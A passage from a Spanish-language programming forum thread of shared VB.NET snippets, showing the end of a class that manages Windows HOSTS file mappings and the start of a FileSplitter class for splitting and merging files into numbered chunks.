  330.    ''' </summary>
  331.    ''' <param name="MappingInfo">A <see cref="MappingInfo"/> instance containing the mapping info.</param>
  332.    Public Sub Disable(ByVal MappingInfo As MappingInfo)
  333.  
  334.        Me.Disable(MappingInfo.HostName)
  335.  
  336.    End Sub
  337.  
  338.    ''' <summary>
  339.    ''' Removes a mapping.
  340.    ''' </summary>
  341.    ''' <param name="HostName">Indicates the Hostname.</param>
  342.    ''' <exception cref="System.IO.FileNotFoundException">"Hosts file not found."</exception>
  343.    ''' <exception cref="System.Exception">Hostname is not mapped.</exception>
  344.    Public Sub Remove(ByVal HostName As String)
  345.  
  346.        If Not Me.FileExists() Then ' Hosts file does not exists.
  347.            Throw New FileNotFoundException("Hosts file not found.", Me._HOSTSLocation)
  348.  
  349.        ElseIf Not Me.IsMapped(HostName) Then ' Hostname is not mapped.
  350.            Throw New Exception(String.Format("Hostname: '{0}' is not mapped.", HostName))
  351.  
  352.        Else ' Remove the mapping.
  353.  
  354.            ' Retrieve the HOSTS file content.
  355.            Dim Hosts As List(Of String) = File.ReadAllLines(Me._HOSTSLocation, Me._HOSTSEncoding).ToList
  356.  
  357.            ' Iterate the mappings.
  358.            For X As Integer = 0I To (Hosts.Count - 1I)
  359.  
  360.                If Not String.IsNullOrEmpty(Hosts(X)) AndAlso Hosts(X).Contains(ControlChars.Tab) Then
  361.  
  362.                    ' Retrieve the HostName of this mapping.
  363.                    Dim Host As String = Hosts(X).Split({ControlChars.Tab})(1I)
  364.  
  365.                    If Host.Equals(HostName, StringComparison.OrdinalIgnoreCase) Then
  366.  
  367.                        ' Remove the mapping.
  368.                        Hosts.RemoveAt(X)
  369.                        Exit For
  370.  
  371.                    End If ' Host.Equals(...)
  372.  
  373.                End If ' Not String.IsNullOrEmpty(Hosts(X))...
  374.  
  375.            Next X
  376.  
  377.            File.WriteAllLines(Me._HOSTSLocation, Hosts, Me._HOSTSEncoding)
  378.  
  379.        End If
  380.  
  381.    End Sub
  382.  
  383.    ''' <summary>
  384.    ''' Removes a mapping.
  385.    ''' </summary>
  386.    ''' <param name="MappingInfo">A <see cref="MappingInfo"/> instance containing the mapping info.</param>
  387.    Public Sub Remove(ByVal MappingInfo As MappingInfo)
  388.  
  389.        Me.Remove(MappingInfo.HostName)
  390.  
  391.    End Sub
  392.  
  393.    ''' <summary>
  394.    ''' Gets a <see cref="List(Of HostsMapping)"/> instance containing the mapping info of all mappings.
  395.    ''' </summary>
  396.    ''' <exception cref="System.IO.FileNotFoundException">"Hosts file not found."</exception>
  397.    Public Function GetMappings() As List(Of MappingInfo)
  398.  
  399.        If Not Me.FileExists() Then ' Hosts file does not exists.
  400.            Throw New FileNotFoundException("Hosts file not found.", Me._HOSTSLocation)
  401.  
  402.        Else ' Get the mapping.
  403.  
  404.            ' Retrieve the HOSTS file content.
  405.            Dim Hosts As List(Of String) = File.ReadAllLines(Me._HOSTSLocation, Me._HOSTSEncoding).ToList
  406.            Dim Mappings As New List(Of MappingInfo)
  407.  
  408.            ' Iterate the mappings.
  409.            For X As Integer = 0I To (Hosts.Count - 1I)
  410.  
  411.                If Not String.IsNullOrEmpty(Hosts(X)) AndAlso Hosts(X).Contains(ControlChars.Tab) Then
  412.  
  413.                    ' Retrieve the mapping parts.
  414.                    Dim Parts As String() = Hosts(X).Split({ControlChars.Tab})
  415.  
  416.                    Dim MappingInfo As New MappingInfo
  417.                    With MappingInfo
  418.                        .HostName = Parts(1I)
  419.                        .IP = Parts(0I).Replace("#"c, String.Empty)
  420.                        .Comment = If(Parts.Count > 1I, Parts(2I), String.Empty)
  421.                        .IsDisabled = Parts(0I).TrimStart.StartsWith("#"c)
  422.                    End With ' MappingInfo
  423.  
  424.                    Mappings.Add(MappingInfo)
  425.  
  426.                End If ' Not String.IsNullOrEmpty(Hosts(X))...
  427.  
  428.            Next X
  429.  
  430.            Return Mappings
  431.  
  432.        End If
  433.  
  434.    End Function
  435.  
  436.    ''' <summary>
  437.    ''' Gets a <see cref="MappingInfo"/> instance containing the mapping info of a Hostname.
  438.    ''' </summary>
  439.    ''' <param name="HostName">Indicates the Hostname.</param>
  440.    ''' <exception cref="System.IO.FileNotFoundException">"Hosts file not found."</exception>
  441.    ''' <exception cref="System.Exception">Hostname is not mapped.</exception>
  442.    Public Function GetMappingFromHostname(ByVal Hostname As String) As MappingInfo
  443.  
  444.        If Not Me.FileExists() Then ' Hosts file does not exists.
  445.            Throw New FileNotFoundException("Hosts file not found.", Me._HOSTSLocation)
  446.  
  447.        ElseIf Not Me.IsMapped(Hostname) Then ' Hostname is not mapped.
  448.            Throw New Exception(String.Format("Hostname: '{0}' is not mapped.", Hostname))
  449.  
  450.        Else ' Get the mapping.
  451.  
  452.            ' Retrieve the HOSTS file content.
  453.            Dim Hosts As List(Of String) = File.ReadAllLines(Me._HOSTSLocation, Me._HOSTSEncoding).ToList
  454.            Dim MappingInfo As New MappingInfo
  455.  
  456.            ' Iterate the mappings.
  457.            For X As Integer = 0I To (Hosts.Count - 1I)
  458.  
  459.                If Not String.IsNullOrEmpty(Hosts(X)) AndAlso Hosts(X).Contains(ControlChars.Tab) Then
  460.  
  461.                    ' Retrieve the mapping parts.
  462.                    Dim Parts As String() = Hosts(X).Split({ControlChars.Tab})
  463.  
  464.                    If Parts(1I).Equals(Hostname, StringComparison.OrdinalIgnoreCase) Then
  465.  
  466.                        With MappingInfo
  467.                            .HostName = Parts(1I)
  468.                            .IP = Parts(0I).Replace("#"c, String.Empty)
  469.                            .Comment = If(Parts.Count > 1I, Parts(2I), String.Empty)
  470.                            .IsDisabled = Parts(0I).TrimStart.StartsWith("#"c)
  471.                        End With ' MappingInfo
  472.  
  473.                        Exit For
  474.  
  475.                    End If ' Parts(1I).Equals(Hostname)...
  476.  
  477.                End If ' Not String.IsNullOrEmpty(Hosts(X))...
  478.  
  479.            Next X
  480.  
  481.            Return MappingInfo
  482.  
  483.        End If
  484.  
  485.    End Function
  486.  
  487.    ''' <summary>
  488.    ''' Gets a <see cref="List(Of HostsMapping)"/> instance containing the mapping info of all mappings
  489.    ''' matching the specified IP address.
  490.    ''' </summary>
  491.    ''' <exception cref="System.IO.FileNotFoundException">"Hosts file not found."</exception>
  492.    ''' <exception cref="System.FormatException">Invalid IP adress.</exception>
  493.    Public Function GetMappingsFromIP(ByVal IP As String) As List(Of MappingInfo)
  494.  
  495.        If Not Me.FileExists() Then ' Hosts file does not exists.
  496.            Throw New FileNotFoundException("Hosts file not found.", Me._HOSTSLocation)
  497.  
  498.        ElseIf Not Me.ValidateIP(IP) Then ' Invalid IP address.
  499.            Throw New FormatException(String.Format("Address: '{0}' is not a valid IP adress.", IP))
  500.  
  501.        Else ' Get the mapping.
  502.  
  503.            ' Retrieve the HOSTS file content.
  504.            Dim Hosts As List(Of String) = File.ReadAllLines(Me._HOSTSLocation, Me._HOSTSEncoding).ToList
  505.            Dim Mappings As New List(Of MappingInfo)
  506.  
  507.            ' Iterate the mappings.
  508.            For X As Integer = 0I To (Hosts.Count - 1I)
  509.  
  510.                If Not String.IsNullOrEmpty(Hosts(X)) AndAlso Hosts(X).Contains(ControlChars.Tab) Then
  511.  
  512.                    ' Retrieve the mapping parts.
  513.                    Dim Parts As String() = Hosts(X).Split({ControlChars.Tab})
  514.  
  515.                    If Parts(0I).Replace("#"c, String.Empty).Equals(IP) Then
  516.  
  517.                        Dim MappingInfo As New MappingInfo
  518.                        With MappingInfo
  519.                            .HostName = Parts(1I)
  520.                            .IP = Parts(0I).Replace("#"c, String.Empty)
  521.                            .Comment = If(Parts.Count > 1I, Parts(2I), String.Empty)
  522.                            .IsDisabled = Parts(0I).TrimStart.StartsWith("#"c)
  523.                        End With ' MappingInfo
  524.  
  525.                        Mappings.Add(MappingInfo)
  526.  
  527.                    End If
  528.  
  529.                End If ' Not String.IsNullOrEmpty(Hosts(X))...
  530.  
  531.            Next X
  532.  
  533.            Return Mappings
  534.  
  535.        End If
  536.  
  537.    End Function
  538.  
  539.    ''' <summary>
  540.    ''' Checks whether a HostName is already mapped.
  541.    ''' </summary>
  542.    ''' <param name="HostName">Indicates the Hostname.</param>
  543.    ''' <returns><c>true</c> if the specified Hostname is mapped; otherwise, <c>false</c>.</returns>
  544.    ''' <exception cref="System.IO.FileNotFoundException">"Hosts file not found."</exception>
  545.    Public Function IsMapped(ByVal HostName As String) As Boolean
  546.  
  547.        If Not Me.FileExists() Then ' Hosts file does not exists.
  548.            Throw New FileNotFoundException("Hosts file not found.", Me._HOSTSLocation)
  549.  
  550.        Else
  551.            ' Retrieve the HOSTS file content.
  552.            Dim Hosts As List(Of String) = File.ReadAllLines(Me._HOSTSLocation, Me._HOSTSEncoding).ToList
  553.  
  554.            ' Iterate the mappings.
  555.            For X As Integer = 0I To (Hosts.Count - 1I)
  556.  
  557.                If Not String.IsNullOrEmpty(Hosts(X)) AndAlso Hosts(X).Contains(ControlChars.Tab) Then
  558.  
  559.                    ' Retrieve the HostName of this mapping.
  560.                    Dim Host As String = Hosts(X).Split({ControlChars.Tab})(1I)
  561.  
  562.                    If Host.Equals(HostName, StringComparison.OrdinalIgnoreCase) Then
  563.                        Return True
  564.                    End If ' Host.Equals(HostName)...
  565.  
  566.                End If ' Not String.IsNullOrEmpty(Hosts(X)) AndAlso...
  567.  
  568.            Next X
  569.  
  570.            Return False
  571.  
  572.        End If ' Not Me.Exists()...
  573.  
  574.    End Function
  575.  
  576.    ''' <summary>
  577.    ''' Checks whether a HostName is already mapped.
  578.    ''' </summary>
  579.    ''' <param name="MappingInfo">A <see cref="MappingInfo"/> instance containing the mapping info.</param>
  580.    ''' <returns><c>true</c> if the specified Hostname is mapped; otherwise, <c>false</c>.</returns>
  581.    Public Function IsMapped(ByVal MappingInfo As MappingInfo) As Boolean
  582.  
  583.        Return Me.IsMapped(MappingInfo.HostName)
  584.  
  585.    End Function
  586.  
  587.    ''' <summary>
  588.    ''' Checks whether a HostName is already disabled.
  589.    ''' </summary>
  590.    ''' <param name="HostName">Indicates the Hostname.</param>
  591.    ''' <returns><c>true</c> if the specified Hostname is disabled; otherwise, <c>false</c>.</returns>
  592.    ''' <exception cref="System.IO.FileNotFoundException">"Hosts file not found."</exception>
  593.    ''' <exception cref="System.Exception">Hostname is not mapped.</exception>
  594.    Public Function IsDisabled(ByVal HostName As String) As Boolean
  595.  
  596.        If Not Me.FileExists() Then ' Hosts file does not exists.
  597.            Throw New FileNotFoundException("Hosts file not found.", Me._HOSTSLocation)
  598.  
  599.        ElseIf Not Me.IsMapped(HostName) Then ' Hostname is not mapped.
  600.            Throw New Exception(String.Format("Hostname: '{0}' is not mapped.", HostName))
  601.  
  602.        Else
  603.            ' Retrieve the HOSTS file content.
  604.            Dim Hosts As List(Of String) = File.ReadAllLines(Me._HOSTSLocation, Me._HOSTSEncoding).ToList
  605.            Dim Result As Boolean = False
  606.  
  607.            ' Iterate the mappings.
  608.            For X As Integer = 0I To (Hosts.Count - 1I)
  609.  
  610.                If Not String.IsNullOrEmpty(Hosts(X)) AndAlso Hosts(X).Contains(ControlChars.Tab) Then
  611.  
  612.                    ' Retrieve the HostName of this mapping.
  613.                    Dim Host As String = Hosts(X).Split({ControlChars.Tab})(1I)
  614.  
  615.                    If Host.Equals(HostName, StringComparison.OrdinalIgnoreCase) Then
  616.                        Result = Hosts(X).TrimStart.StartsWith("#"c)
  617.                        Exit For
  618.                    End If ' Host.Equals(HostName)...
  619.  
  620.                End If ' Not String.IsNullOrEmpty(Hosts(X)) AndAlso...
  621.  
  622.            Next X
  623.  
  624.            Return Result
  625.  
  626.        End If
  627.  
  628.    End Function
  629.  
  630.    ''' <summary>
  631.    ''' Checks whether a HostName is already disabled.
  632.    ''' </summary>
  633.    ''' <param name="MappingInfo">A <see cref="MappingInfo"/> instance containing the mapping info.</param>
  634.    ''' <returns><c>true</c> if the specified Hostname is disabled; otherwise, <c>false</c>.</returns>
  635.    Public Function IsDisabled(ByVal MappingInfo As MappingInfo) As Boolean
  636.  
  637.        Return Me.IsDisabled(MappingInfo.HostName)
  638.  
  639.    End Function
  640.  
  641.    ''' <summary>
  642.    ''' Checks whether the Hosts file exists.
  643.    ''' </summary>
  644.    ''' <returns><c>true</c> if Hosts file exists, <c>false</c> otherwise.</returns>
  645.    Public Function FileExists() As Boolean
  646.  
  647.        Return File.Exists(Me._HOSTSLocation)
  648.  
  649.    End Function
  650.  
  651.    ''' <summary>
  652.    ''' Creates the Hosts file.
  653.    ''' </summary>
  654.    Public Sub FileCreate()
  655.  
  656.        If Me.FileExists() Then
  657.            File.Delete(Me._HOSTSLocation)
  658.        End If
  659.  
  660.        File.WriteAllText(Me._HOSTSLocation, Me.HostsHeader, Me._HOSTSEncoding)
  661.  
  662.    End Sub
  663.  
  664.    ''' <summary>
  665.    ''' Deletes the Hosts file.
  666.    ''' </summary>
  667.    ''' <exception cref="System.IO.FileNotFoundException">Hosts file not found.</exception>
  668.    Public Sub FileDelete()
  669.  
  670.        If Not Me.FileExists() Then
  671.            Throw New FileNotFoundException("Hosts file not found.", Me._HOSTSLocation)
  672.  
  673.        Else
  674.            File.Delete(Me._HOSTSLocation)
  675.  
  676.        End If
  677.  
  678.    End Sub
  679.  
  680.    ''' <summary>
  681.    ''' Cleans the Hosts file.
  682.    ''' This removes all the mappings and adds the default file header.
  683.    ''' </summary>
  684.    Public Sub FileClean()
  685.  
  686.        Me.FileCreate()
  687.  
  688.    End Sub
  689.  
  690.    ''' <summary>
  691.    ''' Opens the Hosts file with the specified process.
  692.    ''' </summary>
  693.    ''' <param name="Process">
  694.    ''' Indicates the process location.
  695.    ''' Default value is: "notepad.exe".
  696.    ''' </param>
  697.    ''' <exception cref="System.IO.FileNotFoundException">Hosts file not found.</exception>
  698.    ''' <exception cref="System.IO.FileNotFoundException">Process not found.</exception>
  699.    Public Sub FileOpen(Optional ByVal Process As String = "notepad.exe")
  700.  
  701.        If Not Me.FileExists Then
  702.            Throw New FileNotFoundException("Hosts file not found.", Me._HOSTSLocation)
  703.  
  704.        ElseIf Not File.Exists(Process) Then
  705.            Throw New FileNotFoundException("Process not found.", Process)
  706.  
  707.        Else
  708.            Diagnostics.Process.Start(Process, ControlChars.Quote & Me._HOSTSLocation & ControlChars.Quote)
  709.  
  710.        End If
  711.  
  712.    End Sub
  713.  
  714. #End Region
  715.  
  716. #Region " Private Methods "
  717.  
  718.    ''' <summary>
  719.    ''' Validates an IP address.
  720.    ''' </summary>
  721.    ''' <param name="Address">The IP address.</param>
  722.    ''' <returns><c>true</c> if IP is in the proper format, <c>false</c> otherwise.</returns>
  723.    Private Function ValidateIP(ByVal Address As String) As Boolean
  724.  
  725.        Dim IP As IPAddress = Nothing
  726.        Return IPAddress.TryParse(Address, IP)
  727.  
  728.    End Function
  729.  
  730. #End Region
  731.  
  732. End Class
  733.  
  734. #End Region


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 15 Agosto 2014, 20:33 pm
Una Class para cortar y unir archivos al mismo estilo que WinRAR (me refiero a la enumeración de los archivos partidos, este no comprime solo corta).

Código
  1. ' ***********************************************************************
  2. ' Author           : Elektro
  3. ' Last Modified On : 08-15-2014
  4. ' ***********************************************************************
  5. ' <copyright file="FileSplitter.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. #Region " Imports "
  11.  
  12. Imports System.ComponentModel
  13. Imports System.IO
  14.  
  15. #End Region
  16.  
  17. Public Class FileSplitter
  18.  
  19. #Region " Properties "
  20.  
  21.    ''' <summary>
  22.    ''' Gets or sets the buffer-size to split or merge, in Bytes.
  23.    ''' Default value is: 1048576 bytes (1 megabyte).
  24.    ''' </summary>
  25.    ''' <value>The buffer-size.</value>
  26.    Public Property BufferSize As Integer = 1048576I
  27.  
  28. #End Region
  29.  
  30. #Region " Events "
  31.  
  32. #Region " EventHandlers "
  33.  
  34.    ''' <summary>
  35.    ''' Occurs when the progress changes splitting a file.
  36.    ''' </summary>
  37.    Public Event SplitProgressChanged As EventHandler(Of SplitProgressChangedArgs)
  38.  
  39.    ''' <summary>
  40.    ''' Occurs when the progress changes merging a file.
  41.    ''' </summary>
  42.    Public Event MergeProgressChanged As EventHandler(Of MergeProgressChangedArgs)
  43.  
  44. #End Region
  45.  
  46. #Region " Event Args "
  47.  
  48. #Region " SplitProgressChanged "
  49.  
  50.    ''' <summary>
  51.    ''' Contains the Event arguments of the SplitProgressChanged Event.
  52.    ''' </summary>
  53.    Public Class SplitProgressChangedArgs : Inherits EventArgs
  54.  
  55. #Region " Constructors "
  56.  
  57.        ''' <summary>
  58.        ''' Prevents a default instance of the <see cref="SplitProgressChangedArgs"/> class from being created.
  59.        ''' </summary>
  60.        Private Sub New()
  61.        End Sub
  62.  
  63.        ''' <summary>
  64.        ''' Initializes a new instance of the <see cref="SplitProgressChangedArgs"/> class.
  65.        ''' </summary>
  66.        ''' <param name="TotalProgress">The total progress value.</param>
  67.        ''' <param name="ChunkProgress">The current chunk progress value.</param>
  68.        ''' <param name="ChunksToCreate">The amount of chunks to create.</param>
  69.        ''' <param name="ChunksCreated">The amount of created chunks.</param>
  70.        Public Sub New(ByVal TotalProgress As Double,
  71.                       ByVal ChunkProgress As Double,
  72.                       ByVal ChunksToCreate As Integer,
  73.                       ByVal ChunksCreated As Integer)
  74.  
  75.            Me._TotalProgress = TotalProgress
  76.            Me._ChunkProgress = ChunkProgress
  77.            Me._ChunksToCreate = ChunksToCreate
  78.            Me._ChunksCreated = ChunksCreated
  79.  
  80.        End Sub
  81.  
  82. #End Region
  83.  
  84. #Region " Properties "
  85.  
  86.        ''' <summary>
  87.        ''' Gets the total progress value.
  88.        ''' (From 0 to 100)
  89.        ''' </summary>
  90.        ''' <value>The total progress value.</value>
  91.        Public ReadOnly Property TotalProgress As Double
  92.            Get
  93.                Return Me._TotalProgress
  94.            End Get
  95.        End Property
  96.        Private _TotalProgress As Double = 0.0R
  97.  
  98.        ''' <summary>
  99.        ''' Gets the current chunk progress value.
  100.        ''' </summary>
  101.        ''' <value>The current chunk progress value.</value>
  102.        Public ReadOnly Property ChunkProgress As Double
  103.            Get
  104.                Return Me._ChunkProgress
  105.            End Get
  106.        End Property
  107.        Private _ChunkProgress As Double = 0.0R
  108.  
  109.        ''' <summary>
  110.        ''' Gets the amount of chunks to create.
  111.        ''' </summary>
  112.        ''' <value>The amount of chunks to create.</value>
  113.        Public ReadOnly Property ChunksToCreate As Integer
  114.            Get
  115.                Return Me._ChunksToCreate
  116.            End Get
  117.        End Property
  118.        Private _ChunksToCreate As Integer = 0I
  119.  
  120.        ''' <summary>
  121.        ''' Gets the amount of created chunks.
  122.        ''' </summary>
  123.        ''' <value>The amount of created chunks.</value>
  124.        Public ReadOnly Property ChunksCreated As Integer
  125.            Get
  126.                Return Me._ChunksCreated
  127.            End Get
  128.        End Property
  129.        Private _ChunksCreated As Integer = 0I
  130.  
  131. #End Region
  132.  
  133. #Region " Hidden Methods "
  134.  
  135.        ''' <summary>
  136.        ''' Serves as a hash function for a particular type.
  137.        ''' </summary>
  138.        <EditorBrowsable(EditorBrowsableState.Never)>
  139.        Public Shadows Sub GetHashCode()
  140.        End Sub
  141.  
  142.        ''' <summary>
  143.        ''' Determines whether the specified System.Object instances are considered equal.
  144.        ''' </summary>
  145.        <EditorBrowsable(EditorBrowsableState.Never)>
  146.        Public Shadows Sub Equals()
  147.        End Sub
  148.  
  149.        ''' <summary>
  150.        ''' Determines whether the specified System.Object instances are the same instance.
  151.        ''' </summary>
  152.        <EditorBrowsable(EditorBrowsableState.Never)>
  153.        Private Shadows Sub ReferenceEquals()
  154.        End Sub
  155.  
  156.        ''' <summary>
  157.        ''' Returns a String that represents the current object.
  158.        ''' </summary>
  159.        <EditorBrowsable(EditorBrowsableState.Never)>
  160.        Public Shadows Sub ToString()
  161.        End Sub
  162.  
  163. #End Region
  164.  
  165.    End Class
  166.  
  167. #End Region
  168.  
  169. #Region " MergeProgressChangedArgs "
  170.  
  171.    ''' <summary>
  172.    ''' Contains the Event arguments of the MergeProgressChangedArgs Event.
  173.    ''' </summary>
  174.    Public Class MergeProgressChangedArgs : Inherits EventArgs
  175.  
  176. #Region " Constructors "
  177.  
  178.        ''' <summary>
  179.        ''' Prevents a default instance of the <see cref="MergeProgressChangedArgs"/> class from being created.
  180.        ''' </summary>
  181.        Private Sub New()
  182.        End Sub
  183.  
  184.        ''' <summary>
  185.        ''' Initializes a new instance of the <see cref="MergeProgressChangedArgs"/> class.
  186.        ''' </summary>
  187.        ''' <param name="TotalProgress">The total progress value.</param>
  188.        ''' <param name="ChunkProgress">The current chunk progress value.</param>
  189.        ''' <param name="ChunksToMerge">The amount of chunks to merge.</param>
  190.        ''' <param name="ChunksMerged">The amount of merged chunks.</param>
  191.        Public Sub New(ByVal TotalProgress As Double,
  192.                       ByVal ChunkProgress As Double,
  193.                       ByVal ChunksToMerge As Integer,
  194.                       ByVal ChunksMerged As Integer)
  195.  
  196.            Me._TotalProgress = TotalProgress
  197.            Me._ChunkProgress = ChunkProgress
  198.            Me._ChunksToMerge = ChunksToMerge
  199.            Me._ChunksMerged = ChunksMerged
  200.  
  201.        End Sub
  202.  
  203. #End Region
  204.  
  205. #Region " Properties "
  206.  
  207.        ''' <summary>
  208.        ''' Gets the total progress value.
  209.        ''' (From 0 to 100)
  210.        ''' </summary>
  211.        ''' <value>The total progress value.</value>
  212.        Public ReadOnly Property TotalProgress As Double
  213.            Get
  214.                Return Me._TotalProgress
  215.            End Get
  216.        End Property
  217.        Private _TotalProgress As Double = 0.0R
  218.  
  219.        ''' <summary>
  220.        ''' Gets the current chunk progress value.
  221.        ''' </summary>
  222.        ''' <value>The current chunk progress value.</value>
  223.        Public ReadOnly Property ChunkProgress As Double
  224.            Get
  225.                Return Me._ChunkProgress
  226.            End Get
  227.        End Property
  228.        Private _ChunkProgress As Double = 0.0R
  229.  
  230.        ''' <summary>
  231.        ''' Gets the amount of chunks to merge.
  232.        ''' </summary>
  233.        ''' <value>The amount of chunks to merge.</value>
  234.        Public ReadOnly Property ChunksToMerge As Integer
  235.            Get
  236.                Return Me._ChunksToMerge
  237.            End Get
  238.        End Property
  239.        Private _ChunksToMerge As Integer = 0I
  240.  
  241.        ''' <summary>
  242.        ''' Gets the amount of merged chunks.
  243.        ''' </summary>
  244.        ''' <value>The amount of merged chunks.</value>
  245.        Public ReadOnly Property ChunksMerged As Integer
  246.            Get
  247.                Return Me._ChunksMerged
  248.            End Get
  249.        End Property
  250.        Private _ChunksMerged As Integer = 0I
  251.  
  252. #End Region
  253.  
  254. #Region " Hidden Methods "
  255.  
  256.        ''' <summary>
  257.        ''' Serves as a hash function for a particular type.
  258.        ''' </summary>
  259.        <EditorBrowsable(EditorBrowsableState.Never)>
  260.        Public Shadows Sub GetHashCode()
  261.        End Sub
  262.  
  263.        ''' <summary>
  264.        ''' Determines whether the specified System.Object instances are considered equal.
  265.        ''' </summary>
  266.        <EditorBrowsable(EditorBrowsableState.Never)>
  267.        Public Shadows Sub Equals()
  268.        End Sub
  269.  
  270.        ''' <summary>
  271.        ''' Determines whether the specified System.Object instances are the same instance.
  272.        ''' </summary>
  273.        <EditorBrowsable(EditorBrowsableState.Never)>
  274.        Private Shadows Sub ReferenceEquals()
  275.        End Sub
  276.  
  277.        ''' <summary>
  278.        ''' Returns a String that represents the current object.
  279.        ''' </summary>
  280.        <EditorBrowsable(EditorBrowsableState.Never)>
  281.        Public Shadows Sub ToString()
  282.        End Sub
  283.  
  284. #End Region
  285.  
  286.    End Class
  287.  
  288. #End Region
  289.  
  290. #End Region
  291.  
  292. #End Region
  293.  
  294. #Region " Hidden Methods "
  295.  
  296.    ''' <summary>
  297.    ''' Serves as a hash function for a particular type.
  298.    ''' </summary>
  299.    <EditorBrowsable(EditorBrowsableState.Never)>
  300.    Public Shadows Sub GetHashCode()
  301.    End Sub
  302.  
  303.    ''' <summary>
  304.    ''' Determines whether the specified System.Object instances are considered equal.
  305.    ''' </summary>
  306.    <EditorBrowsable(EditorBrowsableState.Never)>
  307.    Public Shadows Sub Equals()
  308.    End Sub
  309.  
  310.    ''' <summary>
  311.    ''' Determines whether the specified System.Object instances are the same instance.
  312.    ''' </summary>
  313.    <EditorBrowsable(EditorBrowsableState.Never)>
  314.    Private Shadows Sub ReferenceEquals()
  315.    End Sub
  316.  
  317.    ''' <summary>
  318.    ''' Returns a String that represents the current object.
  319.    ''' </summary>
  320.    <EditorBrowsable(EditorBrowsableState.Never)>
  321.    Public Shadows Sub ToString()
  322.    End Sub
  323.  
  324. #End Region
  325.  
  326. #Region " Public Methods "
  327.  
  328.    ''' <summary>
  329.    ''' Splits the specified file.
  330.    ''' </summary>
  331.    ''' <param name="InputFile">Indicates the file to split.</param>
  332.    ''' <param name="ChunkSize">Indicates the size of each chunk.</param>
  333.    ''' <param name="ChunkName">Indicates the name-format for the chunks.</param>
  334.    ''' <param name="ChunkExt">Indicates the file-extension for the chunks.</param>
  335.    ''' <param name="Overwrite">
  336.    ''' If set to <c>true</c> any existing file will be overwritten if needed to create a chunk,
  337.    ''' otherwise, an exception will be thrown.
  338.    ''' </param>
  339.    ''' <param name="DeleteAfterSplit">If set to <c>true</c> the input file will be deleted after a successful split.</param>
  340.    ''' <exception cref="System.IO.FileNotFoundException">The specified file doesn't exists.</exception>
  341.    ''' <exception cref="System.IO.IOException">File already exists.</exception>
  342.    ''' <exception cref="System.OverflowException">'ChunkSize' should be smaller than the Filesize.</exception>
  343.    Public Sub Split(ByVal InputFile As String,
  344.                     ByVal ChunkSize As Long,
  345.                     Optional ByVal ChunkName As String = Nothing,
  346.                     Optional ByVal ChunkExt As String = Nothing,
  347.                     Optional ByVal Overwrite As Boolean = False,
  348.                     Optional ByVal DeleteAfterSplit As Boolean = False)
  349.  
  350.        If Not File.Exists(InputFile) Then
  351.            Throw New FileNotFoundException("The specified file doesn't exists.", InputFile)
  352.            Exit Sub
  353.        End If
  354.  
  355.        ' The progress event arguments.
  356.        Dim ProgressArguments As SplitProgressChangedArgs
  357.  
  358.        ' FileInfo instance of the input file.
  359.        Dim fInfo As New FileInfo(InputFile)
  360.  
  361.        ' The total filesize to split, in bytes.
  362.        Dim TotalSize As Long = fInfo.Length
  363.  
  364.        ' The remaining size to calculate the percentage, in bytes.
  365.        Dim SizeRemaining As Long = TotalSize
  366.  
  367.        ' Counts the length of the current chunk file to calculate the percentage, in bytes.
  368.        Dim SizeWritten As Long = 0L
  369.  
  370.        ' The buffer to read data and write the chunks.
  371.        Dim Buffer As Byte() = New Byte() {}
  372.  
  373.        ' The buffer length.
  374.        Dim BufferLength As Integer = Me.BufferSize
  375.  
  376.        ' The total amount of chunks to create.
  377.        Dim ChunkCount As Integer = CInt(Math.Floor(fInfo.Length / ChunkSize))
  378.  
  379.        ' Keeps track of the current chunk.
  380.        Dim ChunkIndex As Integer = 0I
  381.  
  382.        ' Keeps track of the total percentage done.
  383.        Dim TotalProgress As Double = 0.0R
  384.  
  385.        ' Keeps track of the current chunk percentage done.
  386.        Dim ChunkProgress As Double = 0.0R
  387.  
  388.        ' A zero-filled string to enumerate the chunk files.
  389.        Dim Zeros As String = String.Empty
  390.  
  391.        ' The given filename for each chunk.
  392.        Dim ChunkFile As String = String.Empty
  393.  
  394.        ' The chunk file basename.
  395.        ChunkName = If(String.IsNullOrEmpty(ChunkName),
  396.                       Path.Combine(fInfo.DirectoryName, Path.GetFileNameWithoutExtension(fInfo.Name)),
  397.                       Path.Combine(fInfo.DirectoryName, ChunkName))
  398.  
  399.        ' The chunk file extension.
  400.        ChunkExt = If(String.IsNullOrEmpty(ChunkExt),
  401.                      fInfo.Extension.Substring(1I),
  402.                      ChunkExt)
  403.  
  404.        ' If ChunkSize is bigger than filesize then...
  405.        If ChunkSize >= fInfo.Length Then
  406.            Throw New OverflowException("'ChunkSize' should be smaller than the Filesize.")
  407.            Exit Sub
  408.  
  409.            ' For cases where a chunksize is smaller than the buffersize.
  410.        ElseIf ChunkSize < BufferLength Then
  411.            BufferLength = CInt(ChunkSize)
  412.  
  413.        End If ' ChunkSize <>...
  414.  
  415.        ' If not file-overwrite is allowed then...
  416.        If Not Overwrite Then
  417.  
  418.            For Index As Integer = 0I To (ChunkCount)
  419.  
  420.                ' Set chunk filename.
  421.                Zeros = New String("0", CStr(ChunkCount).Length - CStr(Index + 1I).Length)
  422.                ChunkFile = String.Format("{0}.{1}.{2}", ChunkName, Zeros & CStr(Index + 1I), ChunkExt)
  423.  
  424.                ' If chunk file already exists then...
  425.                If File.Exists(ChunkFile) Then
  426.  
  427.                    Throw New IOException(String.Format("File already exists: {0}", ChunkFile))
  428.                    Exit Sub
  429.  
  430.                End If ' File.Exists(ChunkFile)
  431.  
  432.            Next Index
  433.  
  434.            Zeros = String.Empty
  435.            ChunkFile = String.Empty
  436.  
  437.        End If ' Overwrite
  438.  
  439.        ' Open the file to start reading bytes.
  440.        Using InputStream As New FileStream(fInfo.FullName, FileMode.Open)
  441.  
  442.            Using BinaryReader As New BinaryReader(InputStream)
  443.  
  444.                While (InputStream.Position < InputStream.Length)
  445.  
  446.                    ' Set chunk filename.
  447.                    Zeros = New String("0", CStr(ChunkCount).Length - CStr(ChunkIndex + 1I).Length)
  448.                    ChunkFile = String.Format("{0}.{1}.{2}", ChunkName, Zeros & CStr(ChunkIndex + 1I), ChunkExt)
  449.  
  450.                    ' Reset written byte-length counter.
  451.                    SizeWritten = 0L
  452.  
  453.  
  454.                    ' Create the chunk file to Write the bytes.
  455.                    Using OutputStream As New FileStream(ChunkFile, FileMode.Create)
  456.  
  457.                        Using BinaryWriter As New BinaryWriter(OutputStream)
  458.  
